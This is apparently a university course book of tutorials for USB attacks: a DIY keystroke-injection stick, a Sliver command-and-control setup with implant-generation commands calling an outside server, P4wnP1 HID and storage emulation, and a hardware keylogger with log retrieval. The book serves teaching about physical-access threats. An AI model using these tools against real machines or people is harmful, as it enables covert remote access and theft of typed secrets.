Project Overview
For our Offensive Security university module we decided to look into USB-based attacks. How USB devices can be used to attack a computer just by plugging them in. We picked three projects that each show a different way this can be done.
Why USB Attacks?
USB attacks are surprisingly easy to pull off and hard to defend against. A device that looks like a normal flash drive or even like a cable can start typing on its own, open a shell, or log your keystrokes — all within seconds of being plugged in. We thought that was worth exploring.
The Three Projects
-
1. DIY Rubber Ducky: Keystroke injection, Reverse Shell to C2
Here we built our own Rubber Ducky, a well known USB attack tool that emulates a keyboard. Once plugged in, it types out a payload on its own and in our case opens a reverse shell back to a C2 server, giving us remote access to the target machine. We realized this project using an RP2040 with CircuitPython.
-
2. P4wnP1 ALOA: HID + Mass Storage emulation
This builds on the Rubber Ducky idea but uses a Raspberry Pi Zero W running P4wnP1 ALOA, a full blown USB-hacking environment. This allows for both keystroke injection and storage emulation at the same time, making the attack harder to detect and allowing for more complex ones.
-
3. DIY Hardware Keylogger: Intercepting keystrokes
This is a small custom PCB built around an RP2040 microcontroller that sits between a keyboard and a computer and records every keystroke. No software needed on the target — just plug it in and it works.
What This Book Is
This book contains tutorials for setting up all three projects. It was written for our university module and is meant for educational purposes only.
RubberDucky
Goal of the project
This project tries to demonstate, how little it takes to build a fully functional keystroke injection device in the shape of a harmless USB-Stick. On top of this device we included a demonstation attack which opens up a reverse shell to an external C2 server for remote access to the target.
The RubberDucky
Choice of components
We based our design on an RP2040 microcontroller, specifically the waveshare RP2040-One for the final, USB-Stick lookalike. This chip allows us to run a full CircuitPython Firmware for easy scripting and a lot of flexibility.
Here is a picture:
RubberDucky Installation
Flashing CircuitPython
So how do we set this thing up?
First, we need to flash a firmware to the chip — in our case CircuitPython.
- Download the
.uf2file here. - Hold the BOOT button on the RP2040 while plugging it into your PC. This will mount the board as a drive.
- Drop the downloaded image into that drive and you’re done!
Installing the Code
Our code is hosted on Gitea here.
Start by creating a local copy anywhere on your computer:
$ git clone https://git.magnusku.de/Magnus/ruber-ducky
Then plug in your microcontroller.
If you’re on Linux, execute flash.sh from the project directory. It will detect the mount point and copy the project files over automatically.
On Windows, you’ll need to do this manually.
That should be all!
How to Debug
Now that the RubberDucky is armed, we need another way to update the code without triggering it.
For this purpose, there is a check on boot (in boot.py) that enables debug mode when GPIO pin 0 is pulled to ground. This stops keystroke injection and enables drive mounting for code access.
Simply connect the two pins with a jumper before plugging the board into your PC.
The board’s LED will blink blue when debug mode is enabled.
Project structure
Project files
Maybe this would be a good point to look at the files you just put on your board.
| File/Directory | Purpose |
|---|---|
boot.py | This runs early in the boot process. We use this file to enable debug mode if needed. |
code.py | Entrypoint of the code |
src/*.py | Modules that are imported in code.py |
src/inputs.py | This is where you define your keyboard inputs. Different routines can be defined. One of them later is selected in code.py via the payload variable. |
lib/ | This directory contains some third party libraries for HID and the onboard LED |
serial.sh | This will not be copied onto the board but it can be used to read out the serial bus! |
The Payload
Structure
As seen on the last page, the payload is defined in src/inputs.py and selected by setting the payload variable in code.py.
Let’s look at an example:
# src/inputs.py
hello_world = [
("SLEEP", 0.2),
("LED", (0,255,0)),
("SLEEP", 0.2),
("WRITE", "Hello World"),
("SLEEP", 0.1),
]
# code.py
payload = inputs.hello_world
This script first sets the color of the on-board LED to an RGB value, then types out Hello World.
There are multiple actions used here — let’s look at all of them:
| Key | Value |
|---|---|
SLEEP | Sleep for v seconds |
PRESS | Press and hold key v (Adafruit HID keycode: Keycode.<key>) |
SEND | Press and release key v (Adafruit HID keycode: Keycode.<key>) |
WRITE | Type out the string v |
RELEASE | Release all keys. No value needed, so set to None |
LED | Change the LED color to RGB tuple v |
Command and Control (C2) – Overview
A Command and Control (C2) framework acts as the centralized management hub for red teaming and penetration testing operations. It allows operators to coordinate, monitor, and persistently control compromised devices (so-called implants) within a target network.
For this lab environment, the modern open-source framework Sliver by Bishop Fox is utilized.
Architecture Concept
To ensure maximum isolation and operational security within the lab, the infrastructure is split into three distinct logical and physical entities:
- Sliver Server: The central brain of the framework. It runs isolated inside a Docker container on a dedicated home server, managing active sessions and generating malicious payloads.
- Sliver Client: The interactive command-line interface (CLI) frontend installed on the analyst’s laptop. All administrative commands are executed from here.
- Implant (Target): The actual payload/agent executed on the target system (victim VM), which connects back to the server to receive commands and return results.
Administrative control is strictly isolated through a private Tailscale P2P VPN, while incoming victim connections are handled and routed by a Traefik reverse proxy.
Docker Deployment (Server)
The Sliver server is deployed as a containerized microservice. Since this configuration represents Infrastructure as Code (IaC), the files are stored openly within the repository. The security relies entirely on cryptographic mutual TLS authentication, not on the secrecy of the deployment structure.
1. The Dockerfile
The Dockerfile is based on a clean Ubuntu image and automatically pulls and installs the latest stable server daemon from Bishop Fox.
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y \
curl \
wget \
git \
iproute2 \
ca-certificates \
&& rm -rf /var/lib/apt/lists/*
# Automatically install the Sliver server binary
RUN curl -s [https://sliver.sh/install](https://sliver.sh/install) | bash
# Expose the default mTLS operator administration port
EXPOSE 31337
CMD ["/root/sliver-server", "daemon"]
2. Docker Compose Configuration
The docker-compose.yml file links the server daemon to our external proxy network and maps port 31337 exclusively to the host system’s Tailscale network interface.
version: "3.8"
services:
sliver:
build: .
container_name: sliver-server
restart: unless-stopped
ports:
- "31337:31337"
volumes:
- sliver-data:/root/.sliver
- /tmp:/tmp
networks:
- proxy
volumes:
sliver-data:
networks:
proxy:
external: true
3. Initializing the Server
To build the Docker image from scratch and launch the C2 daemon persistently in the background, run the following command inside your deployment directory:
$ docker compose up -d --build
4. Generating the Operator Profile
Because Sliver relies entirely on mTLS for client connections, an operator profile containing unique X.509 certificates must be created inside the running container before any client can connect:
$ docker exec -it sliver-server /root/sliver-server operator --name _your_name --lhost _your_IP --save /tmp/meinlaptop.cfg
Operator Setup & CLI Cheat-Sheet
This section covers the configuration required on the analyst’s laptop to establish a secure connection to the remote server daemon, followed by a cheat-sheet of essential execution commands.
1. Client Installation
The universal client binary is installed locally on the analyst’s laptop using the official deployment script:
$ curl -s [https://sliver.sh/install](https://sliver.sh/install) | sudo bash
2. Cryptographic Profile Transfer & Import
Traditional password authentication is not supported by Sliver. All control sessions are authenticated via strict mutual TLS (mTLS).
- Secure Copy (SCP): Download the operator certificate profile generated by the server over the secure Tailscale VPN connection:
$ scp _your_name@_your_ip:/tmp/meinlaptop.cfg ~/Downloads/
- Profile Import: Register the configuration profile within your local client data store:
$ sliver-client import ~/Downloads/meinlaptop.cfg
- Establish Connection: Launch the interactive console. The client will automatically read the imported certificates and open an encrypted control tunnel to the server:
$ sliver-client
>
Sliver CLI Cheat-Sheet
This cheat-sheet provides a practical reference for essential commands within the interactive Sliver C2 console, categorized by operational phases.
1. Listener Management
Listeners are required to catch incoming connections from implants or payload delivery requests.
| Command | Description |
|---|---|
jobs | Lists all active background listener jobs and their IDs. |
jobs -k <id> | Kills/stops a specific running listener by its ID. |
mtls --lport 31337 | Starts an mTLS listener on a specific port (Default: 31337). |
http --lport 8082 | Starts an HTTP listener on a specific port for web callbacks. |
https --lport 443 | Starts an encrypted HTTPS listener for stealthier traffic. |
2. Payload Generation (Implants)
Implants are the actual malware binaries executed on the target system.
- mTLS Linux Binary (64-bit):
> generate --mtls c2.david-lab.de --os linux --arch amd64 --save /tmp/
- HTTP Windows Binary (64-bit):
> generate --mtls c2.david-lab.de --os windows --arch amd64 --save /tmp/
- Staged Payload (Beacon):
> generate beacon --http c2.david-lab.de --os windows --arch amd64
3. Session & Target Management
Once an implant executes and calls back, it establishes an interactive session.
| Command | Description |
|---|---|
sessions | Lists all currently active, established connections. |
beacons | Lists active beaconing implants (periodic check-ins). |
use <session-id> | Interactively attaches to a specific session (e.g., use 1) |
background | Safely exits an active session context back to the main menu |
P4wnP1 ALOA
Goal of the project
This project was meant to show a more advanced RubberDucky and how features like Storage Emulation can make it harder to spot and allow for more complex attacks.
Why we chose P4wnP1 ALOA
P4wnP1 ALOA gave us a complete out of the box setup. We already built a RubberDucky from scratch in our first project so this time we wanted to focus on building a more impressive demo. The P4wnP1 ALOA installation is straightforward as shown on the next pages.
Installation
1. Flash the Image
First, download the latest release of the custom image from RoganDawes/P4wnP1_aloa.
This guide was created with v0.1.1-beta. The image is provided in .img.xz format, so it needs to be decompressed first:
$ xz -d ~/Downloads/kali-linux-v0.1.1-beta-rpi0w-nexmon-p4wnp1-aloa.img.xz
Once decompressed, the image can be written to the MicroSD card. Insert the card and identify its device name:
$ lsblk
The device will likely appear as something like /dev/sdX.
Warning
Double-check the device name before proceeding — writing to the wrong device will corrupt that drive!
Now write the image:
$ dd if=<path-to-img> of=<name-of-drive> bs=4M status=progress conv=fsync
Once the process is complete, unmount and remove the SD card, insert it into the Pi, and power it on.
Setup
1. Accessing the Pi
1.1 Access via Wi-Fi
By default, the Pi creates its own Wi-Fi Access Point (AP), making it easy to connect to.
Join the new Wi-Fi network (it should be easy to identify) and enter the default password MaMe82-P4wnP1. The Pi’s default IP address within its Wi-Fi network is 172.24.0.1.
1.2 Access via USB
An alternative way to connect is by plugging the Pi in via USB. By default, the Pi emulates an Ethernet device that you can connect to.
To find the Pi’s IP address, first check the IP of your Ethernet adapter:
$ ip a
Then replace the last octet with .1, since the Pi acts as the gateway in this setup.
2. SSH and Web UI
Once the Pi’s IP address is known, there are two ways to interact with it:
- Open the web UI at
http://<ip>:8000 - Connect via SSH:
Use the default Kali password$ ssh root@172.24.0.1toor.
The P4wnP1 is now up and running. Well done!
Mass Storage Emulation
The P4wnP1 can emulate a USB flash drive or a read-only CD-ROM, which helps maintain the illusion of it being just an ordinary USB drive.
The feature can be set up in a few steps:
1. Create a Disk Image
An image of the filesystem that the target machine should mount is required. Conveniently, P4wnP1 ships with a small bash script that makes creating these images straightforward.
The script is located at:
/usr/local/P4wnP1/helper/genimg
Start by creating a directory containing the files to be included in the filesystem:
$ mkdir payload
$ echo "hello world" > payload/readme.txt
Then pass that directory to genimg:
$ ./genimg -i <path-to-directory> -o <name> -l <label> -s <size-in-mb>
<name>— a unique identifier for the output file (no path)<label>— the drive name shown when mounted on the target machine
For example:
$ ./genimg -i ./payload -o hello_world -l "WORKFILES" -s 64
The generated image is stored at:
/usr/local/P4wnP1/ums/flashdrive/<name>.bin
2. Enable the Image
Now that the P4wnP1 has our image, we can set it up.
Open the Web UI and switch to the USB tab:
In the bottom right, enable Mass Storage and open the settings with the button that appears to its right. Then select your image from the dropdown.
It should look like this:
Now close the popup, deploy the config with the Deploy button at the top, and you’re done!
HID Injection
Next we want to set up HID injection. In this chapter you will learn how to write custom scripts and deploy them using trigger actions.
HID is enabled by default so there is no need to configure anything. If you have turned it off, just re-enable keyboard and mouse in the USB SETTINGS tab.
1. Writing a First Script
Scripts are located at /usr/local/P4wnP1/HIDScripts, but you can also use the Web UI for editing.
Scripts are written in JavaScript using custom functions provided by P4wnP1 ALOA. We won’t go in-depth on everything that’s possible as that would blow the scope of this tutorial, but here are some basics to get started.
Useful Functions
Keyboard Actions
| Function | Action | Parameters |
|---|---|---|
layout("US"); | Set keyboard layout | Country code (us, de, gb, fr, es, it, br, ru) |
typingSpeed(delay, jitter); | Set typing speed | Base delay in ms; additional random jitter in ms |
delay(ms); | Wait for a short time | Duration in ms |
type("text\n"); | Type out a string | Text; \n is interpreted as RETURN, uppercase triggers SHIFT |
press("KEY1 KEY2"); | Press multiple keys at once | Space-separated key names; full list here |
waitLED(NUM); | Wait for a keyboard LED state change | NUM, CAPS, SCROLL, ANY, ANY_OR_NONE, or combined with | |
waitLEDRepeat(ANY); | Wait for repeated LED toggling | Same filters as waitLED; useful to trigger on intentional human input |
Mouse Actions
| Function | Action |
|---|---|
move(dx, dy); | Fast, imprecise relative movement |
moveStepped(dx, dy); | Slow, precise relative movement (1 DPI steps) |
moveTo(x, y); | Absolute positioning (Windows only) |
click(BT1|BT2); | Click a button |
doubleClick(BT1|BT2); | Double-click a button |
button(BT1|BT2|BTNONE); | Press and hold or release a button |
For more advanced scripting, take a look at /usr/local/P4wnP1/HIDScripts/helper.js which contains a bunch of useful utility functions.
Demo
To demonstrate the capabilities of this setup, we created a small demo where the P4wnP1 loads a ROM (Pokémon Yellow) and a Game Boy emulator via MSC and starts playing it automatically.
Storage Preparation
Start by preparing the required files.
Create a payload directory in /usr/local/P4wnP1/helper.
1. mGBA
This guide uses the mGBA emulator.
- Download the AppImage here.
- Rename it to
MGBA.appimage - And place it in the payload directory.
2. Pokémon Yellow
Make sure to legally dump your own copy of the game. :)
Then add the ROM to the payload directory, renamed to POKY.gb.
3. Key Extender
There is one significant problem:
The P4wnP1 does not provide an API for holding down keys. The standard press() and type() functions only hold keys for 1ms.
This is a problem for Game Boy games, which poll inputs from a hardware register rather than using input events like a terminal would.
To work around this we use a small Python script that listens to the P4wnP1’s HID input events and repeats all desired key presses, holding them down for 100ms (configurable). With the script running, the emulator sees the following:
$ wev
[ 16: wl_keyboard] key: serial: 28554; time: 4622645; key: 53; state: 1 (pressed)
sym: x (120), utf8: 'x'
[ 16: wl_keyboard] key: serial: 28555; time: 4622646; key: 53; state: 0 (released)
sym: x (120), utf8: ''
[ 16: wl_keyboard] key: serial: 28556; time: 4622647; key: 53; state: 1 (pressed)
sym: x (120), utf8: 'x'
[ 16: wl_keyboard] key: serial: 28557; time: 4622747; key: 53; state: 0 (released)
sym: x (120), utf8: ''
This wev (Wayland event viewer) output shows the P4wnP1’s original key press (released after 1ms) followed immediately by the re-emitted press held for 100ms.
This works, but introduces another problem: unlike X11, Wayland does not share input events globally. Each process only receives input targeted at its own window. This means there is no way for the script to capture all HID input events.
Warning
Root access is required for this demo!
This is not an ideal solution, but it was the only approach that got the P4wnP1 to reliably control a Game Boy emulator. It is only necessary because the P4wnP1 is primarily designed as a text injector, not a game controller. For the purposes of this demo we will prepare the target system with a udev rule and leave it at that.
Start by adding a new udev rule on the system the demo will run on:
# add this to /etc/udev/rules.d/99-input.rules
KERNEL=="uinput", GROUP="input", MODE="0660"
KERNEL=="event*", GROUP="input", MODE="0660"
This will add read and write permission to root and the input group for the input and event device files created by udev!
Next add yourself to the input group and reload udev:
$ sudo usermod -aG input $USER
$ newgrp input
$ sudo udevadm control --reload && sudo udevadm trigger
To make sure everything is changed ideally reboot now or start a new session. Opening a new terminal and typing
$ groups
should list input.
Also test if the permissions on the device files are good. It should look like this:
$ cd /dev/input
$ ls -l
Permissions Size User Group Date Modified Name
crw-rw---- 13,64 root input 5 Jun 10:57 event0
crw-rw---- 13,65 root input 5 Jun 10:57 event1
...
So let’s setup the script.
The script is in the demo’s gitea repo in the key_extendr directory.
To build this we need some dependencies:
- You will need pyinstaller on your system, it will take care of the script’s dependencies though!
- The
uinputkernelmodule must be installed as we need to manually include its.solibrary.
Run the following to clone the project:
$ git clone https://git.magnusku.de/Magnus/p4wnp1_gb_autoplay
$ cd p4wnp1_gb_autoplay/key_extendr
The script detects the USB stick by its name which you can set under Product Name in the P4wnP1’s web UI.
Edit the script’s DEV_NAME_FRAG variable to contain a unique fragment within the name you chose!
Then bundle the script, Python VM and dependencies into a binary using pyinstaller:
$ make all
The resulting binary can be found at build/key_extendr. Add that to the payload!
4. Building the Image
Once everything is in place, the payload directory should look like this:
root@kali:/usr/local/P4wnP1/helper# ls *
genimg
payload:
key_extendr MGBA.appimage POKY.gb
If it does, create the FAT32 image as before:
$ ./genimg -i ./payload -o pokemon -l POKEMON -s 2048
Next, enable mass storage.
Payload Preparation
Now onto the payload!
The script can also be found in the gitea repo we cloned earlier.
1. Configuration
First cd into the root directory of your clone.
Installation requires you to have access to the p4wnp1 via ssh.
- Change its IP address in the project’s root Makefile if needed (
TARGETvariable). - In
./config.jsset the drive label of the above created image, the keyboard layout and the needed inputs to open a terminal on the target system
2. Build and ship
Now just ready up the payload and put it on the pi:
$ make all # build -> "./build/<NAME>.js"
$ make sync # sync with pi per ssh
This will concatenate all of the source .js files into one payload and copy it into the payload directory on the pi.
P4wnP1 settings
Now open the P4wnP1’s webUI and change the following:
- In the USB Settings enable Keyboard inputs and Mass Storage Emulation, select the Image we created.
- In the USB device configuration make sure the
Product Namecontains the fragment we set in thekey_extendr.pyconfig
And that’s all!
Execution
Now we’re ready. Execute the payload either via the WebUI or by running
$ make execute
in the projects root.
Enjoy the demo.
Keylogger
Goal of the project
The project aims to demonstrate how keyloggers function as a security threat by capturing and analyzing keyboard input through a hardware-based man-in-the-middle setup. It highlights the risks of physical access attacks, the stealth capabilities of hardware keyloggers, and the importance of implementing effective countermeasures to protect sensitive information.
Hardware
Required Hardware
- Adafruit RP2040 Feather (with USB host support)
- USB keyboard (target device to capture input from)
- USB cable(s) for connecting the RP2040 between keyboard and computer
- Target computer or system (receives forwarded input)
Here is a picture:
Keylogger Installation & Setup
This guide is written for an Arch Linux setup. If you are using Windows, this guide does not cover that environment.
Arduino IDE Installation
Install the Arduino IDE using:
$ yay -S arduino-ide-bin
Clone the Repository
Clone the project repository and open it in the Arduino IDE:
$ git clone https://git.magnusku.de/David_Heunisch/Keylogger.git
Initial Setup
After cloning, connect your controller to the computer.
Board Installation
In the Arduino IDE:
- Go to
Tools -> Board -> Boards Manager - Search for:
Raspberry Pi Pico/RP2040/RP2350 by Earle F. Philhower - Install the package
Library Installation
Go to Tools -> Manage Libraries and install the following:
- Neopixel (1.15.5)
- Adafruit SPI Flash (5.1.1)
- Adafruit TinyUSB Library (3.7.7)
- MIDI Library (3.7.7)
- PICO PIO USB (0.7.2)
- SdFAT (Adafruit Fork) (2.3.103)
IDE Configuration
Configure the following settings:
-
Port
Select the UF2 device for the first setup. After flashing, switch to the normal serial port. -
CPU Speed
Must be divisible by 12. Recommended: 240 MHz. -
Flash Size
Allocate space for LittleFS logging. Recommended: 3–4 MB. -
USB Stack
Set to: Adafruit TinyUSB
Flashing the Firmware
Click the Upload button in the bottom-left corner of the Arduino IDE and wait for the compilation and flashing process to complete.
First Boot & Verification
After flashing the firmware, the keylogger should be ready to run. This section walks you through verifying that everything is working correctly.
Power On the Device
- Connect the RP2040 to your target computer via USB.
- The 5V LED should light up.
- The device will enumerate as a HID keyboard device.
Verify Device Recognition
Check if the device is recognized:
$ lsusb
You should see an entry for the RP2040.
Bus 001 Device 076: ID 239a:cafe Adafruit Feather RP2040 USB Host
Test Keyboard Functionality
- Open a text editor (e.g.,
nvim). - Type some characters on the Keyboard.
- The device should function as a normal keyboard
Logging & Data Retrieval
The keylogger stores captured keystrokes in a file on the LittleFS filesystem of the RP2040s flash. This section explains how to access and retrieve the logged data.
Where Logs Are Stored
- File path:
/keylog.txt - Filesystem: LittleFS (internal flash storage)
- Buffer: Keystrokes are first buffered in RAM and flushed to flash every 2 seconds or when the buffer is nearly full.
Method 1: via Arduino IDE
The easiest way to view logs is via the Arduino Serial Monitor.
View the Log (DUMP)
- Open Arduino IDE
- Go to
Tools -> Portand select the Pico’s serial port - Open the Serial Monitor (
Tools -> Serial Monitor) - Set baud rate to
115200 - Type
DUMPand press Enter
The entire log file will be printed to the serial output.
- Type
CLEARto clear delete logs
Method 2: via Python Log Reader
For a more convenient experience with automatic device detection and log cleaning, use the included reader.py script.
Setup
Install the required dependency:
pip install pyserial
Running the Reader
python3 reader.py
Features
- Auto-detection: Automatically finds RP2040 devices
- Interactive menu with four options:
- Read Log (RAW): Displays raw log output exactly as sent from the device
- Read Log (Cleaned): Processes the log to produce readable text
- Clear Log: Erases the stored log file
- Exit: Closes the serial connection and exits